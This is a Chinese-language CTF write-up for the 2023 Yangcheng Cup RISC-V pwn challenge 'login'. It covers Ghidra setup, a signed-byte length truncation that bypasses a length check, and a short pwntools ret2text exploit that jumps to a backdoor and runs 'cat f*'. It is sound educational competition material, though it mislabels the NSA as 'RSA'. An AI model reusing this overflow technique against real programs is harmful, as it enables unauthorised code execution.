【PWN · ret2text | RISC-V异构】[2023 羊城杯]login

第一道异构PWN的题目,没做出来。。。。但是是因为工具没有 QAQ


目录

前言

一、食用工具

Ghidra

安装使用

二、解题思路

三、exp

总结


前言

我们context.arch经常是'i386'和'amd64',突然遇到RISC-V架构的题目,一是本地运行不了(环境没配),二是IDA无法反汇编。苦恼。


一、食用工具

于是找啊找。找到cutter------一款risc-v的反汇编反编译工具,然而太shi了,反编译的c代码看不了一点,全是错的。赛后问了学长,晓得了一般做异构pwn、reverse的工具:

Ghidra

Ghidra 是美国国家安全局(RSA)开源发布的软件逆向工程框架,涵盖了反汇编、反编译等工具。该工具2019年3月开源。与之对标的有windows平台下的IDA Pro和linux平台下的radare2等。

资源直接吾爱破解:Ghidra 10.3 - 『逆向资源区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

可以直接通过下载链接(来自上面吾爱破解那篇博客)

ghidra_10.3_PUBLIC_20230510.zip官方版下载丨最新版下载丨绿色版下载丨APP下载-123云盘

安装使用

  1. jdk11+的环境

  2. 运行目录下bat文件

  1. 创建project后,导入要反汇编的文件即可

二、解题思路

这个过程就比较熟悉了,让我们来读读反汇编后的伪c代码

第一个输入读8字节,第二个读288字节,似乎都没有栈溢出问题,进入FUN_12345786看看

这里有将传入检查的字符串赋值给另一串。源字符串最长为288,目的字符串最长为248,也许可以溢出,然而中间检查了检查字符串(函数参数)的长度<8,这该怎么办呢?

DAT_12347070 = (byte)sVar1

这里的sVar1是参数字符串的长度,被强制类型转换为byte,而byte是有符号型的,可以表示-128---127 的数。这一点可以和char类比,都是一个字节,但是是有符号的。

如果我们让读入字符串的长度为 256 会发生什么?------发生截断,DAT_12347070 == 0

如果我们让读入字符串的长度为256+8会发生什么?------发生截断,DAT_12347070 == 8

我们惊喜的发现------这两种情况都绕过了"too long"检查。

那让我们再精打细算一下------248字符数组长度+8'所谓的ebp'长度+8retaddr长度==256+8

没错,这里的栈溢出点让我们找到了,并且我们可以控制一次跳转地址的自定义------程序中有一个后门函数------刚好跳到这里

过滤了'sh'和'flag',那我们就 cat f* 绕过即可

三、exp

python 复制代码
from pwn import *
from pwn import u64,u32,p64,p32

io=remote(...)

io.sendafter(b'name:\n',b'a'*8)
payload=b'/bin/sh;'*(0x100//8)+p64(0x123456ee)
io.sendafter(b'words\n',payload)
io.sendline(b'cat f*')
io.interactive()

总结

第一道异构PWN

羊城杯对于大佬来说"还挺简单的",但是对于我们萌新,要哭了(萌新了快一年了进度好慢)

感谢亢学长的帮助!

相关推荐
其实防守也摸鱼1 天前
CTF密码学综合教学指南--第一章
网络·安全·网络安全·密码学·ctf·法律
其实防守也摸鱼1 天前
CTF密码学综合教学指南--第二章
开发语言·网络·python·安全·网络安全·密码学·ctf
sinovoip2 天前
香蕉派开源社区联合进迭进空重磅打造: BPI‑SM10(K3-Com260) 和 K3 Pico‑ITX 计算机将于5月11日全球发货
人工智能·开源·risc-v
嵌入式小企鹅2 天前
RISC-V车规专委会成立、AI模型集中开源、半导体产能加速爬坡
人工智能·学习·ai·程序员·算力·risc-v·半导体
Le_ee2 天前
winXP栈溢出漏洞深度学习
网络安全·安全性测试·栈溢出·ollydbg
国科安芯2 天前
空间激光通信系统中抗辐射 MCU 芯片应用研究
单片机·嵌入式硬件·架构·risc-v·安全性测试
极创信息3 天前
信创领域五种主流CPU架构(X86 / ARM / RISC-V / MIPS / LoongArch)
java·arm开发·数据库·spring boot·mysql·软件工程·risc-v
每天一把堆栈4 天前
软件系统安全赛区域赛
安全·网络安全·pwn
嵌入式小企鹅4 天前
CPU需求变化、RISC-V安全方案、DeepSeek V4适配、太空算力动态
人工智能·驱动开发·华为·开源·算力·risc-v
国科安芯6 天前
商业航天与航空安全场景下抗辐射 MCU 选型、应用实践及发展趋势
单片机·嵌入式硬件·无人机·cocos2d·risc-v